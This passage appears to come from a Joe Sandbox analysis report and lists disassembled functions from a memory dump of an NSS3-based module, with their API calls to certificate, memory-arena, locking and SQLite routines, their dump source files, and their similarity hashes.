Part of subcall function 6C7457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C70B41E,00000000,00000000,?,00000000,?,6C70B41E,00000000,00000000,00000001,?), ref: 6C7457E0
Part of subcall function 6C7457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C745843

CERT_DestroyCertList.NSS3(?), ref: 6C72AD36

Part of subcall function 6C702F50: CERT_DestroyCertificate.NSS3(?), ref: 6C702F65
Part of subcall function 6C702F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C702F83

free.MOZGLUE(?), ref: 6C72AD4F

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction ID: 9520977ef3dcfdf1ad9803b8e3fd5775f442a46a7a3f5c03bb3438c4a6ac5e05
Opcode Fuzzy Hash: ddddfa22a30ac31470ce1ea5c4929861c7aa0189b717c5cd17d969e0349ffccf
Instruction Fuzzy Hash: B121C3B2D002148BEB10DF64EA0A5EEB7F4EF05258F454078D814BB700FB35AA49CBE1

Function 6C753C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C753C9E
EnterCriticalSection.KERNEL32(?), ref: 6C753CAE
PR_Unlock.NSS3(?), ref: 6C753CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C753D02

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
Instruction ID: db6035457992bd9ceb12707c770c8bcaf753f7160638dc5c48d2b8eb75df9f7d
Opcode Fuzzy Hash: 528fea61e8485242f3efeb0b2a8c2e2485813f1db6f0953c6489138e326413bf
Instruction Fuzzy Hash: 0811D379A00214AFDB40EF24DD49A9A3778EF09368F954570EC088B722EB31ED55CBE1

Function 6C75ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C75F0AD,6C75F150,?,6C75F150,?,?,?), ref: 6C75ECBA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C75ECD1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C75ED02

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C75ED5A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a9c1e98a834629811c2e4f4e729b64d3cc58b314cf105c727ad75def7ea2292c
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D621A4B1E007465BE700CF26DA49B52B7E4BFA4348F15C226E81C87A61EB70E5A4C7D0

Function 6C78EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE14

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(?,?,6C779767,00000000,00000000,6C777FFA,?,6C779767,?,8B7874C0,0000A48E), ref: 6C78EE33

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction ID: db914df18878d17a925468915af33035c92bf50382e587545648c8004a9dad8a
Opcode Fuzzy Hash: 307b2515c24e0f6e5fda417f9a252fcfa79e843dda94b6118d426df7954a2383
Instruction Fuzzy Hash: F611A3B9A0270AABE7109E65DE88B46B3ACEF0435DF244535EA1982A41E331E464C7F1

Function 6C70DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_NewCertList.NSS3 ref: 6C70DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C70DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70E029

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: a55784a2667c135a0d11c3c86884d45e1848e42f05baead8fe9b4eeec8c17f0b
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: D8110CF1B002096BDB105EA95E48BAB76E8AB8035CF140538E958C7710F736D81597E1

Function 6C728DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C728DE7
EnterCriticalSection.KERNEL32 ref: 6C728DFC
PR_Unlock.NSS3 ref: 6C728E2D
PR_SetError.NSS3 ref: 6C728E49

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction ID: 7d049509fb2f03670024e6b8c76b64ba47981acb61e7e66fbc8ef69b7bd0db38
Opcode Fuzzy Hash: 690c944e4a5f46a12a54af20af089b4b9354acea23077e491a1e4986f9c86f69
Instruction Fuzzy Hash: F2118C75A05A119FD740AF78C5881AABBF4FF09718F01496ADC8897B01E738E894CBC2

Function 6C7AAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C795F17,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C79AAD4), ref: 6C7AACDB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction ID: dddb0bd592c1e017789004502491cd4c7a11969aa689376409f6949ff5b5572c
Opcode Fuzzy Hash: 355a38cc2d5007a6b1b42fe29750a507eb8cd9a53574023d6ea0680cb764b673
Instruction Fuzzy Hash: FE015EB5601B01ABE7A0DF69DA08753B7E8BF04669B504939E85AC3E00E735F055CFD1

Function 6C711DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C711DFB

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PR_EnterMonitor.NSS3 ref: 6C711E09

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(?,?,6C70E175), ref: 6C70E19C
Part of subcall function 6C70E190: PR_EnterMonitor.NSS3(6C70E175), ref: 6C70E1AA
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E208
Part of subcall function 6C70E190: PL_HashTableRemove.NSS3(?), ref: 6C70E219
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E231
Part of subcall function 6C70E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C70E249
Part of subcall function 6C70E190: PR_ExitMonitor.NSS3 ref: 6C70E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711E37
PR_ExitMonitor.NSS3 ref: 6C711E4A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction ID: aac7fab259d5fa0f650a2531237af3a1df5640a0f716ce445837d3c94fccfe13
Opcode Fuzzy Hash: 782ca23e0ab7739977a2817bea0a116cfcc2ce3d2aab8e6c3faa0c76a7329462
Instruction Fuzzy Hash: 4F01F771B441519BEB104BA6DE0CF5277B8AB61B4EF180031E5189FF91E731E818CBD6

Function 6C711D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C711D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C711D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C711D9C
free.MOZGLUE(00000000), ref: 6C711DB8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction ID: 7122b7585fc5d74c4dd185de005e5b396e0110d283506177720ac61629f9e657
Opcode Fuzzy Hash: 0ef2fb386726250696bae3a46c08997f05da2ef7b4e49e484b7d8bc3cd53ff9e
Instruction Fuzzy Hash: 23F049B261961057FB105E5A9E47B8736489BA1798F190335DD888FF40D760E404C2E5

Function 6C75FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4
free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction ID: ab5321a4dd9d081508a781fb4cb437d7fde1cdc03664c6e57a64f518a62a3f8e
Opcode Fuzzy Hash: 09dd1eaa694b1560989175d93c253b12e8333eb3311d70b17e9e38e7463c12bf
Instruction Fuzzy Hash: F3F0C8F56013065BEB005F55DE959177758EF45299B548035ED0DCBF02EB21D824C7E1

Function 6C81CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C81CC61
free.MOZGLUE ref: 6C81CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C81CC80
free.MOZGLUE(?), ref: 6C81CC87

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction ID: 4405696c95788373b973b4aa5366219c2e96f894a17002240ccce743ce4b989a
Opcode Fuzzy Hash: bd922545a47d3610b102a669188b6c9648e0c4e57139a97c94e69bb9a23f43bd
Instruction Fuzzy Hash: 65E030B6B00608ABCA50EFA9DC4488677ACEE4D2747150535E691C3701D235F905CFE1

Function 6C6F9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C6F9E1F

Part of subcall function 6C6B13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B1413
Part of subcall function 6C6B13C0: memcpy.VCRUNTIME140(00000000,R#hl,00000002,?,?,?,?,6C682352,?,00000000,?,?), ref: 6C6B14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C6F9F78
LIKE or GLOB pattern too complex, xrefs: 6C6FA006

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction ID: 4ed2eb40af236c7d4b812daa5bb72f625ffd2277c2d5f3f62a21a20418aff8e7
Opcode Fuzzy Hash: 4826e1786757bb19d57efededf3e1e11b6039eaf8b294f1df64b0db47ddada08
Instruction Fuzzy Hash: 60811A70A052514BE704CF29C4903E9B7F3AF8532CF288659D8B88BB95D736D847C795

Function 6C754D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C754D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C754DE6

Strings

%d.%d, xrefs: 6C754DDE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction ID: 2a6d8963d7f2373c784b8bde6866584dc06519c56ebc567939a956425d12ccc3
Opcode Fuzzy Hash: 6cf5cc70364a5d75e99ae517bcb7fd98d46a23d79f44b19745aad4c3ab856e34
Instruction Fuzzy Hash: A2310CB2D003186BEB109BA19D0ABFF7768EF40308F440429ED1957781EF349929CBE1

Function 6C774CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8wl,00000000,00000000,?,?,6C773827,?,00000000), ref: 6C774D0A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C774D22

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

Strings

'8wl, xrefs: 6C774D07

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8wl
API String ID: 1521942269-312688369
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 54630a2ea6ac97f87f981392ceb2be07dd9eb62f141903e670ff369d3e8cb4ee
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FAF06232601229A7EF204D6EAF85B4336DC9B4167DF1402B1EE68CB781E621CC049AB1

Function 6C79AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C79AF78

Part of subcall function 6C6FACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
Part of subcall function 6C6FACC0: malloc.MOZGLUE(00000001), ref: 6C6FACEC
Part of subcall function 6C6FACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
Part of subcall function 6C6FACC0: TlsGetValue.KERNEL32 ref: 6C6FAD3C
Part of subcall function 6C6FACC0: calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
